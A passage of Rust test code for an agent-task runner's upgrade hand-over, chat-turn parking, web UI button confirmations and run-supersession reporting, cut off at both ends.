17326                .expect("start"),
17327            TalkTurnStart::Busy
17328        ));
17329        assert_eq!(turns.lock().unwrap().live.len(), 1);
17330
17331        // The health text names the turn.
17332        let progress = crate::updater::read_progress(home.path()).expect("progress");
17333        let view = upgrade_progress_view(&ui, progress);
17334        assert!(
17335            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
17336            "{:?}",
17337            view.waiting_on
17338        );
17339
17340        assert!(!handover.is_finished());
17341        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17342        drop(turn);
17343        handover.await.expect("join").expect("hand over");
17344        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17345        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17346    }
17347
17348    /// Chat stays open while the loop is still parking, and closes only once
17349    /// the loop is done; a turn started during the park is waited for.
17350    #[tokio::test]
17351    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
17352        let home = TempDir::new().expect("temp home");
17353        let (ui, looping, turns, served) = park_fixture(&home).await;
17354        let ui = Arc::new(ui);
17355        // A loop that ends only when told to.
17356        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
17357        lock_or_recover(&looping).live = Some(Live {
17358            stop: daemon::Stop::new(),
17359            handle: tokio::spawn(async move {
17360                let _ = loop_ended.await;
17361            }),
17362            opts: daemon::Opts::default(),
17363        });
17364
17365        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17366        let handover = tokio::spawn({
17367            let home = home.path().to_path_buf();
17368            let turns = Arc::clone(&turns);
17369            let calls = Arc::clone(&calls);
17370            async move {
17371                hand_over(
17372                    &home,
17373                    &looping,
17374                    &turns,
17375                    &|_: &[String]| Duration::from_secs(60),
17376                    served,
17377                    move |_| {
17378                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17379                        Ok(1)
17380                    },
17381                )
17382                .await
17383            }
17384        });
17385
17386        let reached = async {
17387            for _ in 0..200 {
17388                if crate::updater::read_progress(home.path())
17389                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
17390                {
17391                    return;
17392                }
17393                tokio::time::sleep(Duration::from_millis(25)).await;
17394            }
17395            panic!("the hand-over never reached parking");
17396        };
17397        reached.await;
17398
17399        // The loop is still parking: a chat turn starts.
17400        assert!(!turns.lock().unwrap().parking);
17401        let turn = ui
17402            .begin_talk_turn("20260901-000000-chat")
17403            .expect("claim")
17404            .expect("a turn can start while the loop parks");
17405
17406        // The loop ends; the slot closes while the first turn is still held.
17407        end_loop.send(()).expect("loop still waiting");
17408        for _ in 0..200 {
17409            if turns.lock().unwrap().parking {
17410                break;
17411            }
17412            tokio::time::sleep(Duration::from_millis(25)).await;
17413        }
17414        assert!(
17415            turns.lock().unwrap().parking,
17416            "closed once the loop is done"
17417        );
17418        let refused = ui.begin_talk_turn("20260901-000000-late").err();
17419        assert!(
17420            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17421            "no turn starts once the loop is done"
17422        );
17423        assert!(
17424            ui.begin_queued_talk_turn("20260901-000000-late")
17425                .expect("queued claim")
17426                .is_none()
17427        );
17428        assert!(!handover.is_finished());
17429        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17430
17431        drop(turn);
17432        handover.await.expect("join").expect("hand over");
17433        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17434        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17435    }
17436
17437    /// A turn that never ends cannot block the upgrade: past the bound the
17438    /// hand-over proceeds and records which talk it gave up on.
17439    #[tokio::test]
17440    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
17441        let home = TempDir::new().expect("temp home");
17442        let (ui, looping, turns, served) = park_fixture(&home).await;
17443        let id = "20260901-000000-stuk";
17444        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17445
17446        let calls = std::sync::atomic::AtomicUsize::new(0);
17447        hand_over(
17448            home.path(),
17449            &looping,
17450            &turns,
17451            &|_: &[String]| Duration::from_millis(300),
17452            served,
17453            |_| {
17454                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17455                Ok(1)
17456            },
17457        )
17458        .await
17459        .expect("hand over");
17460        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17461
17462        let progress = crate::updater::read_progress(home.path()).expect("progress");
17463        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
17464        assert!(
17465            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
17466            "{:?}",
17467            progress.detail
17468        );
17469        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
17470        assert!(
17471            log.contains("handing over anyway") && log.contains(id),
17472            "{log}"
17473        );
17474    }
17475
17476    /// A drain that finds the upgrade parking leaves the queued draft alone
17477    /// and gives the slot up, instead of starting another turn.
17478    #[tokio::test]
17479    async fn drain_loop_starts_no_turn_while_parking() {
17480        let tmp = TempDir::new().expect("tempdir");
17481        let repo = tmp.path().join("repo");
17482        std::fs::create_dir_all(&repo).expect("repo dir");
17483        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
17484        let home = TempDir::new().expect("temp home");
17485        let talks = Talks::at(home.path().join("talks"));
17486        let ui = Ui::new(
17487            Queue::at(home.path().join("queue")),
17488            Questions::at(home.path().join("questions")),
17489            talks.clone(),
17490            home.path().join("runs"),
17491            home.path().to_path_buf(),
17492            repo.clone(),
17493        )
17494        .with_worktrees_root(home.path().join("wt"));
17495        let cfg = config_for(&repo).await.expect("discover config");
17496        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
17497        let id = talk.id.clone();
17498        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
17499        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
17500        let turns = ui.turns();
17501        let parking = ParkingTurns::begin(&turns);
17502
17503        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
17504
17505        assert!(
17506            turns.lock().unwrap().live.is_empty(),
17507            "the slot is given up"
17508        );
17509        let fresh = talks.get(&id).expect("talk");
17510        assert_eq!(fresh.pending, "later", "the draft is still queued");
17511        assert!(fresh.turns.is_empty(), "no turn ran");
17512        drop(parking);
17513    }
17514
17515    /// Run `hand_over` against `ui` and return what the successor was told.
17516    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
17517        let looping = ui.looping();
17518        let turns = ui.turns();
17519        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17520            .await
17521            .expect("bind loopback");
17522        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17523        let told = std::sync::Mutex::new(None);
17524        hand_over(
17525            home.path(),
17526            &looping,
17527            &turns,
17528            &|_: &[String]| Duration::from_secs(5),
17529            served,
17530            |resume| {
17531                *told.lock().unwrap() = Some(resume);
17532                Ok(1)
17533            },
17534        )
17535        .await
17536        .expect("hand over");
17537        told.into_inner().unwrap().expect("successor was started")
17538    }
17539
17540    #[tokio::test]
17541    async fn a_running_loop_is_resumed_by_the_successor() {
17542        let home = TempDir::new().expect("temp home");
17543        let ui = idle_ui(&home);
17544        ui.start_loop(None).expect("start");
17545        ui.park_for_upgrade().expect("park");
17546        // The idle loop sees the park and ends before the handover fires.
17547        for _ in 0..500 {
17548            if !ui.loop_view(None).running {
17549                break;
17550            }
17551            tokio::time::sleep(Duration::from_millis(2)).await;
17552        }
17553        assert!(handed_over(&home, ui).await, "a running loop must resume");
17554
17555        let successor = idle_ui(&home);
17556        assert!(!successor.loop_view(None).running);
17557        assert!(successor.resume_after_handover(true));
17558        assert!(successor.loop_view(None).running);
17559        successor.stop_loop(None, false).expect("stop");
17560    }
17561
17562    #[tokio::test]
17563    async fn a_second_upgrade_request_keeps_the_resume_intent() {
17564        let home = TempDir::new().expect("temp home");
17565        let ui = idle_ui(&home);
17566        ui.start_loop(None).expect("start");
17567        ui.park_for_upgrade().expect("first park");
17568        ui.park_for_upgrade().expect("second park");
17569        assert!(handed_over(&home, ui).await);
17570    }
17571
17572    #[tokio::test]
17573    async fn a_stop_during_the_handover_wait_is_honoured() {
17574        let home = TempDir::new().expect("temp home");
17575        let ui = idle_ui(&home);
17576        ui.start_loop(None).expect("start");
17577        ui.park_for_upgrade().expect("park");
17578        ui.stop_loop(None, false).expect("stop");
17579        assert!(!handed_over(&home, ui).await);
17580    }
17581
17582    #[tokio::test]
17583    async fn an_idle_loop_stays_stopped_across_the_handover() {
17584        let home = TempDir::new().expect("temp home");
17585        let ui = idle_ui(&home);
17586        ui.park_for_upgrade().expect("park");
17587        assert!(!handed_over(&home, ui).await);
17588
17589        let successor = idle_ui(&home);
17590        assert!(!successor.resume_after_handover(false));
17591        assert!(!successor.loop_view(None).running);
17592    }
17593
17594    #[tokio::test]
17595    async fn a_loop_the_operator_stopped_is_not_resumed() {
17596        let home = TempDir::new().expect("temp home");
17597        let ui = idle_ui(&home);
17598        ui.start_loop(None).expect("start");
17599        ui.stop_loop(None, false).expect("stop");
17600        ui.park_for_upgrade().expect("park");
17601        assert!(!handed_over(&home, ui).await);
17602    }
17603
17604    #[test]
17605    fn only_an_explicit_one_requests_a_resume() {
17606        assert!(!resume_requested(None));
17607        assert!(!resume_requested(Some("0".into())));
17608        assert!(!resume_requested(Some("".into())));
17609        assert!(resume_requested(Some("1".into())));
17610    }
17611
17612    #[test]
17613    fn the_upgrade_button_arms_before_it_restarts_anything() {
17614        // It ends the process the operator is talking to, and a phone in a
17615        // pocket taps things. One tap arms, the second commits.
17616        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
17617        assert!(APP_JS.contains("Replace the binary and restart?"));
17618        assert!(APP_JS.contains("function confirmed("));
17619        // Hidden when the loop is somebody else's, matching the 409 above -
17620        // and hidden with nothing to install, matching the 200 "already
17621        // current" branch: an operator on the newest build must not be
17622        // offered a restart that would only park a run for nothing.
17623        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
17624        // A park waits for the node in flight, up to an hour for an implement
17625        // wave. Leaving the button reading "Upgrading…" for that long is the
17626        // same mistake as an error rendered off screen: it looks wedged.
17627        assert!(
17628            APP_JS.contains("Parking, then restarting"),
17629            "the button says what it is waiting for"
17630        );
17631        // And nothing to install must give the button back rather than
17632        // pretending a restart is coming.
17633        assert!(APP_JS.contains("if (!out.to)"));
17634    }
17635
17636    #[test]
17637    fn stopping_the_loop_arms_but_starting_does_not() {
17638        // A stray tap must not leave the queue stopped overnight, so a stop is
17639        // two taps through the same helper the upgrade uses; a start stays one.
17640        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
17641        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
17642        assert!(APP_JS.contains("confirmed(button, question)"));
17643        // The label put back on timeout is the one saved when arming, not a
17644        // hard-coded upgrade caption that would rename the stop button.
17645        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
17646        assert!(APP_JS.contains("const label = btn.textContent;"));
17647        assert!(!APP_JS.contains("Neither direction is guarded"));
17648    }
17649
17650    #[test]
17651    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
17652        assert!(
17653            APP_JS.contains("state.health.version"),
17654            "the operator wants to know what is running even with nothing newer"
17655        );
17656        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
17657    }
17658
17659    #[test]
17660    fn the_upgrade_button_names_its_destination() {
17661        assert!(
17662            APP_JS.contains("`Update to ${update.to}`"),
17663            "pressing the button should not be a surprise about what it moves to"
17664        );
17665    }
17666
17667    #[test]
17668    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
17669        for stage in ["downloading", "replaced", "parking", "restarting"] {
17670            assert!(
17671                APP_JS.contains(&format!("\"{stage}\"")),
17672                "the phone must be able to tell {stage} apart from the others"
17673            );
17674        }
17675        assert!(APP_JS.contains(".waiting_on"));
17676        // What replaced the bare "Cannot reach magi: Failed to fetch": a
17677        // fetch failing while an upgrade is in flight is not an error, it is
17678        // the sub-second gap `bind_waiting` covers, and it must not be
17679        // reported as one.
17680        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
17681        assert!(APP_JS.contains("reconnects on its own"));
17682    }
17683
17684    #[test]
17685    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
17686        // `Stage::Failed` is terminal on the server and nothing clears it on
17687        // its own - not a fresh start, not time passing - so a full-strip
17688        // takeover for it (the way the busy stages take the strip over,
17689        // correctly, because those are transient) would have hidden
17690        // start/stop/park behind an upgrade notice with no way back short of
17691        // a person editing `upgrade.json` by hand or a later release
17692        // happening to succeed. The failure must instead ride along as a note
17693        // next to whatever control the loop's own state already offers.
17694        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
17695            ..APP_JS.find("function upgrade(").expect("upgrade")];
17696        assert!(
17697            !body.contains(
17698                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
17699            ),
17700            "a failed upgrade must not take the whole strip over the way it used to"
17701        );
17702        assert!(
17703            body.contains("upgradeFailNote"),
17704            "the failure has to reach the loop's own note instead"
17705        );
17706        // `quiet` and `control` are the only two places `loop-why` is set from
17707        // this function's own state; both must carry the note through, or a
17708        // future edit to either one would silently drop it again.
17709        assert_eq!(
17710            body.matches("upgradeFailNote].filter(Boolean).join")
17711                .count(),
17712            2,
17713            "both loop-why writers (quiet and control) must fold the note in"
17714        );
17715    }
17716
17717    #[test]
17718    fn an_overdue_upgrade_eventually_asks_for_a_human() {
17719        // The ceiling has to clear a full hour-long park with room to spare,
17720        // or an ordinary implement wave would be reported as a stuck upgrade.
17721        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
17722        assert!(APP_JS.contains("function upgradeOverdue("));
17723    }
17724
17725    #[test]
17726    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
17727        assert!(
17728            APP_JS.contains("Updated to ${upgradeInfo.to"),
17729            "the operator who asked for the restart wants to know it worked"
17730        );
17731    }
17732
17733    #[test]
17734    fn an_error_is_visible_from_where_the_button_is() {
17735        // The alert used to sit in the flow under the header. On a phone
17736        // scrolled 13 500 px down to a run's action sheet that is off screen,
17737        // so tapping Resume and being told "the loop is running run b455
17738        // right now" looked exactly like a button that did nothing.
17739        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
17740            ..APP_CSS.find(".alert-text").expect(".alert-text")];
17741        assert!(
17742            alert.contains("position: fixed"),
17743            "an error about the thing under your thumb has to be visible from \
17744             where your thumb is: {alert}"
17745        );
17746        assert!(
17747            alert.contains("z-index: 25"),
17748            "above the dock (20) and the run-actions FAB (15), so neither \
17749             buries it: {alert}"
17750        );
17751        assert!(
17752            alert.contains("var(--tap)"),
17753            "and clear of the dock and the home indicator: {alert}"
17754        );
17755        // The FAB sits at the same height on the right. An error that covered
17756        // it would hide the button the operator reaches for next.
17757        assert!(
17758            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
17759            "the FAB's column stays free: {alert}"
17760        );
17761    }
17762
17763    #[tokio::test]
17764    async fn an_older_attempt_says_what_replaced_it() {
17765        let fx = Fixture::start().await;
17766        let q = fx.queue();
17767        let runs = fx.runs();
17768        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17769        write_run(&runs, first, RunStatus::Stalled);
17770        write_run(&runs, second, RunStatus::Blocked);
17771
17772        let mut t = Task::new(
17773            "one task".to_owned(),
17774            "do it".to_owned(),
17775            PathBuf::from("/repo"),
17776            Source::Human,
17777        );
17778        t.runs = vec![first.to_owned(), second.to_owned()];
17779        q.put(&mut t).expect("put");
17780
17781        // Two cards with the same title and no hint which is which was the
17782        // question: "why are there two of the same, one stalled and one
17783        // blocked?" The older one now names its replacement.
17784        let rows = fx.get("/api/runs").await.json();
17785        let by = |short: &str| -> Value {
17786            rows.as_array()
17787                .unwrap()
17788                .iter()
17789                .find(|r| r["short"] == short)
17790                .cloned()
17791                .unwrap_or(Value::Null)
17792        };
17793        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
17794        assert!(
17795            by("bbbb")["superseded_by"].is_null(),
17796            "the latest attempt is not superseded by anything"
17797        );
17798        // Front end: the note has to be rendered, not just carried.
17799        assert!(APP_JS.contains("run.superseded_by"));
17800        assert!(APP_JS.contains("Superseded by"));
17801    }
17802
17803    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
17804        let mut t = Task::new(
17805            "one task".to_owned(),
17806            "do it".to_owned(),
17807            PathBuf::from("/repo"),
17808            Source::Human,
17809        );
17810        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17811        t.status = status;
17812        t
17813    }
17814
17815    #[test]
17816    fn source_link_picks_the_page_that_filed_the_task() {
17817        let agent = |node: &str| Source::Agent {
17818            run: "20260904-014455-ab12".to_owned(),
17819            node: node.to_owned(),
17820        };
17821        let chat = source_link(&agent("chat")).expect("chat link");
17822        assert_eq!(chat.kind, "chat");
17823        assert_eq!(chat.id, "20260904-014455-ab12");
17824        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
17825        let run = source_link(&agent("implement")).expect("run link");
17826        assert_eq!(
17827            (run.kind, run.href.as_str()),
17828            ("run", "#/runs/20260904-014455-ab12")
17829        );
17830        assert_eq!(source_link(&Source::Human), None);
17831        assert_eq!(
17832            source_link(&Source::Issue {
17833                number: 3,
17834                repo: "o/r".to_owned()
17835            }),
17836            None
17837        );
17838        let odd = source_link(&Source::Agent {
17839            run: "a b/c".to_owned(),
17840            node: "chat".to_owned(),
17841        })
17842        .expect("link");
17843        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
17844    }
17845
17846    #[test]
17847    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
17848        assert!(
17849            !APP_JS.contains("src.node === \"chat\""),
17850            "inline href rule is back"
17851        );
17852        assert!(
17853            APP_JS.matches("sourceLinkOf(").count() >= 4,
17854            "helper must serve every page"
17855        );
17856        assert!(
17857            APP_JS.matches("openChatLink(").count() >= 3,
17858            "the run page still needs its explicit chat link"
17859        );
17860        assert!(
17861            !APP_JS.contains("const openChat = el("),
17862            "the Queue card duplicates its source label link again"
17863        );
17864        assert!(
17865            APP_JS.contains("metaKids.push(link ? el(\"a\""),
17866            "the task page must link a chat source label too"
17867        );
17868    }
17869
17870    #[test]
17871    fn task_ref_carries_the_source_link_for_a_chat_task() {
17872        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17873        t.source = Source::Agent {
17874            run: "20260904-014455-ab12".to_owned(),
17875            node: "chat".to_owned(),
17876        };
17877        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
17878        let v = serde_json::to_value(&out).expect("json");
17879        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
17880        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
17881        assert_eq!(v["source_label"], t.source.label());
17882
17883        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17884        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
17885            .expect("json");
17886        assert!(v["source_link"].is_null(), "{v}");
17887    }
17888
17889    #[test]
17890    fn task_view_serializes_source_link() {
17891        let mut t = Task::new(
17892            "t".to_owned(),
17893            "t".to_owned(),
17894            PathBuf::from("/repo"),
17895            Source::Agent {
17896                run: "20260901-000000-aaaa".to_owned(),
17897                node: "implement".to_owned(),
17898            },
17899        );
17900        t.runs.clear();
17901        let v = serde_json::to_value(TaskView::from(t)).expect("json");
17902        assert_eq!(v["source_link"]["kind"], "run", "{v}");
17903        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
17904    }
17905
17906    #[tokio::test]
17907    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
17908        let fx = Fixture::start().await;
17909        let runs = fx.runs();
17910        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17911        write_run(&runs, old, RunStatus::Blocked);
17912        write_run(&runs, new, RunStatus::Merged);
17913        let mut t = outcome_task(&[old, new], TaskStatus::Done);
17914        fx.queue().put(&mut t).expect("put");
17915
17916        let view = fx.get(&format!("/api/runs/{old}")).await.json();
17917        let task = &view["task"];
17918        assert_eq!(task["status"], "done");
17919        assert_eq!(task["is_latest"], false);
17920        assert_eq!(task["latest"]["short"], "bbbb");
17921        assert_eq!(task["finished_by"]["id"], new);
17922        assert_eq!(task["finished_by"]["outcome"], "merged");
17923        assert_eq!(task["closed_by_hand"], false);
17924        assert_eq!(view["status"], "blocked", "the run keeps its own status");
17925        assert!(APP_JS.contains("finished_by"));
17926        assert!(APP_JS.contains("superseded by run"));
17927    }
17928
17929    #[tokio::test]
17930    async fn the_latest_run_reports_a_held_task_without_a_successor() {
17931        let fx = Fixture::start().await;
17932        let runs = fx.runs();
17933        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17934        write_run(&runs, old, RunStatus::Stalled);
17935        write_run(&runs, new, RunStatus::Blocked);
17936        let mut t = outcome_task(&[old, new], TaskStatus::Held);
17937        fx.queue().put(&mut t).expect("put");
17938
17939        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
17940        assert_eq!(task["status"], "held");
17941        assert_eq!(task["is_latest"], true);
17942        assert!(task["latest"].is_null());
17943        assert!(task["finished_by"].is_null());
17944        assert_eq!(task["closed_by_hand"], false);
17945    }
17946
17947    #[tokio::test]
17948    async fn a_direct_run_has_no_task_outcome() {
17949        let fx = Fixture::start().await;
17950        let runs = fx.runs();
17951        let id = "20260901-000000-aaaa";
17952        write_run(&runs, id, RunStatus::Blocked);
17953        let view = fx.get(&format!("/api/runs/{id}")).await.json();
17954        assert!(view["task"].is_null());
17955    }
17956
17957    #[test]
17958    fn task_outcome_does_not_guess_a_finishing_run() {
17959        let a = "20260901-000000-aaaa";
17960        let b = "20260901-000000-bbbb";
17961        let c = "20260901-000000-cccc";
17962        let dir = tempfile::tempdir().expect("tempdir");
17963        write_run(dir.path(), a, RunStatus::Blocked);
17964        write_run(dir.path(), b, RunStatus::VerifiedNoop);
17965        // `c` has no record: unreadable.
17966        let read = |id: &str| read_run(dir.path(), id).ok();
17967        // Neither a blocked run nor a no-op finished the task; the newest run is
17968        // unreadable and still named.
17969        let t = outcome_task(&[a, b, c], TaskStatus::Done);
17970        let out = task_outcome(&t, a, 3, read);
17971        assert!(out.finished_by.is_none());
17972        assert!(out.closed_by_hand);
17973        let latest = out.latest.expect("latest");
17974        assert_eq!(latest.id, c);
17975        assert_eq!(latest.status, None);
17976        assert_eq!(latest.outcome, "record unreadable");
17977
17978        // A Ready run settles the task as done, so it is named as the finisher.
17979        write_run(dir.path(), c, RunStatus::Ready);
17980        let t = outcome_task(&[a, c], TaskStatus::Done);
17981        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
17982        assert_eq!(out.finished_by.expect("finisher").id, c);
17983        assert!(!out.closed_by_hand);
17984
17985        // A resumed run id repeats: it is still the latest by id.
17986        let t = outcome_task(&[a, b, a], TaskStatus::Held);
17987        assert!(task_outcome(&t, a, 3, read).is_latest);
17988    }
17989
17990    #[tokio::test]
17991    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
17992        // The list route has known this since the card fix above; the detail
17993        // route — what an operator actually opens from a notification about
17994        // a blocked run — did not, and went on showing a bare red BLOCKED
17995        // chip for a run a retry had already finished.
17996        let fx = Fixture::start().await;
17997        let q = fx.queue();
17998        let runs = fx.runs();
17999        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18000        write_run(&runs, first, RunStatus::Blocked);
18001        write_run(&runs, second, RunStatus::Merged);
18002
18003        let mut t = Task::new(
18004            "one task".to_owned(),
18005            "do it".to_owned(),
18006            PathBuf::from("/repo"),
18007            Source::Human,
18008        );
18009        t.runs = vec![first.to_owned(), second.to_owned()];
18010        q.put(&mut t).expect("put");
18011
18012        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
18013        assert_eq!(earlier["superseded_by"], "dddd");
18014        assert_eq!(earlier["latest_attempt"]["id"], second);
18015        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
18016        assert_eq!(
18017            earlier["latest_attempt"]["resolved"], true,
18018            "the run that replaced it landed, so this one reads as settled"
18019        );
18020
18021        let later = fx.get(&format!("/api/runs/{second}")).await.json();
18022        assert!(
18023            later["superseded_by"].is_null(),
18024            "the latest attempt is not superseded by anything"
18025        );
18026        assert!(
18027            later["latest_attempt"].is_null(),
18028            "the latest attempt has no later attempt of its own"
18029        );
18030
18031        // Front end: the detail page has to read the field this route now
18032        // carries, downgrade the chip, and link to the run that replaced it —
18033        // not just repeat the list card's own logic under a different name.
18034        // The link is built off `latest_attempt.id`, the server-resolved
18035        // full id, never a bare short string a client would have to guess a
18036        // full run from.
18037        assert!(APP_JS.contains("run.latest_attempt"));
18038        assert!(APP_JS.contains("data-superseded"));
18039        assert!(APP_JS.contains("#/runs/${latest.id}"));
18040    }
18041
18042    #[tokio::test]
18043    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
18044        // A -> B -> C, all Blocked except the last. A's immediate successor
18045        // (superseded_by) is B, which is itself unresolved; what an operator
18046        // opening A's page actually needs is where the task's story stands
18047        // *now* - C, not B - without depending on whether C happens to be in
18048        // whatever page of /api/runs the client last cached.
18049        let fx = Fixture::start().await;
18050        let q = fx.queue();
18051        let runs = fx.runs();
18052        let (a, b, c) = (
18053            "20260901-000000-aaaa",
18054            "20260901-000000-bbbb",
18055            "20260901-000000-cccc",
18056        );
18057        write_run(&runs, a, RunStatus::Blocked);
18058        write_run(&runs, b, RunStatus::Blocked);
18059        write_run(&runs, c, RunStatus::Merged);
18060
18061        let mut t = Task::new(
18062            "retried twice".to_owned(),
18063            "do it".to_owned(),
18064            PathBuf::from("/repo"),
18065            Source::Human,
18066        );
18067        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
18068        q.put(&mut t).expect("put");
18069
18070        let view = fx.get(&format!("/api/runs/{a}")).await.json();
18071        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
18072        assert_eq!(
18073            view["latest_attempt"]["id"], c,
18074            "the chain's current head, not the intermediate Blocked retry"
18075        );
18076        assert_eq!(view["latest_attempt"]["resolved"], true);
18077
18078        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
18079        assert_eq!(mid["latest_attempt"]["id"], c);
18080        assert_eq!(mid["latest_attempt"]["resolved"], true);
18081    }
18082
18083    #[tokio::test]
18084    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
18085        let fx = Fixture::start().await;
18086        let q = fx.queue();
18087        let runs = fx.runs();
18088
18089        // Still Blocked: the task is not resolved, so the older run must not
18090        // read as settled either.
18091        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
18092        write_run(&runs, still_blocked_a, RunStatus::Blocked);
18093        write_run(&runs, still_blocked_b, RunStatus::Blocked);
18094        let mut t1 = Task::new(
18095            "still stuck".to_owned(),
18096            "do it".to_owned(),
18097            PathBuf::from("/repo"),
18098            Source::Human,
18099        );
18100        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
18101        q.put(&mut t1).expect("put");
18102        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
18103        assert_eq!(view1["latest_attempt"]["resolved"], false);
18104        assert_eq!(view1["latest_attempt"]["status"], "blocked");
18105        assert_eq!(view1["latest_attempt"]["done"], true);
18106
18107        // Still running: the successor exists and must be reported as such.
18108        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
18109        write_run(&runs, run_a, RunStatus::Blocked);
18110        write_run(&runs, run_b, RunStatus::Implementing);
18111        let mut t3 = Task::new(
18112            "retrying".to_owned(),
18113            "do it".to_owned(),
18114            PathBuf::from("/repo"),
18115            Source::Human,
18116        );
18117        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
18118        q.put(&mut t3).expect("put");
18119        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
18120        assert_eq!(view3["latest_attempt"]["id"], run_b);
18121        assert_eq!(view3["latest_attempt"]["resolved"], false);
18122        assert_eq!(view3["latest_attempt"]["done"], false);
18123
18124        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
18125        // to check - not a confirmed finish, so this must not read as
18126        // resolved either, even though the run is done in the sense that
18127        // nothing is still running.
18128        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
18129        write_run(&runs, noop_a, RunStatus::Blocked);
18130        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
18131        let mut t2 = Task::new(
18132            "claims done".to_owned(),
18133            "do it".to_owned(),
18134            PathBuf::from("/repo"),
18135            Source::Human,
18136        );
18137        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
18138        q.put(&mut t2).expect("put");
18139        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
18140        assert_eq!(
18141            view2["latest_attempt"]["resolved"], false,
18142            "an unverified no-op claim must not read as a confirmed finish"
18143        );
18144
18145        // Front end: an unresolved successor must not carry the "finished
18146        // this work" note or the muted chip treatment.
18147        assert!(APP_JS.contains("latest.resolved"));
18148        // ...but the link to it shows as soon as it exists, labelled by state
18149        // and without the "finished" wording or the muted chip.
18150        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
18151        assert!(APP_JS.contains("Latest attempt: "));
18152        assert!(APP_JS.contains("in flight"));
18153        assert!(APP_JS.contains("not resolved"));
18154    }
18155
18156    #[tokio::test]
18157    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
18158        let fx = Fixture::start().await;
18159        // No cache header at all meant browsers invented their own policy,
18160        // and one did: a phone went on showing "Candidates must be folded
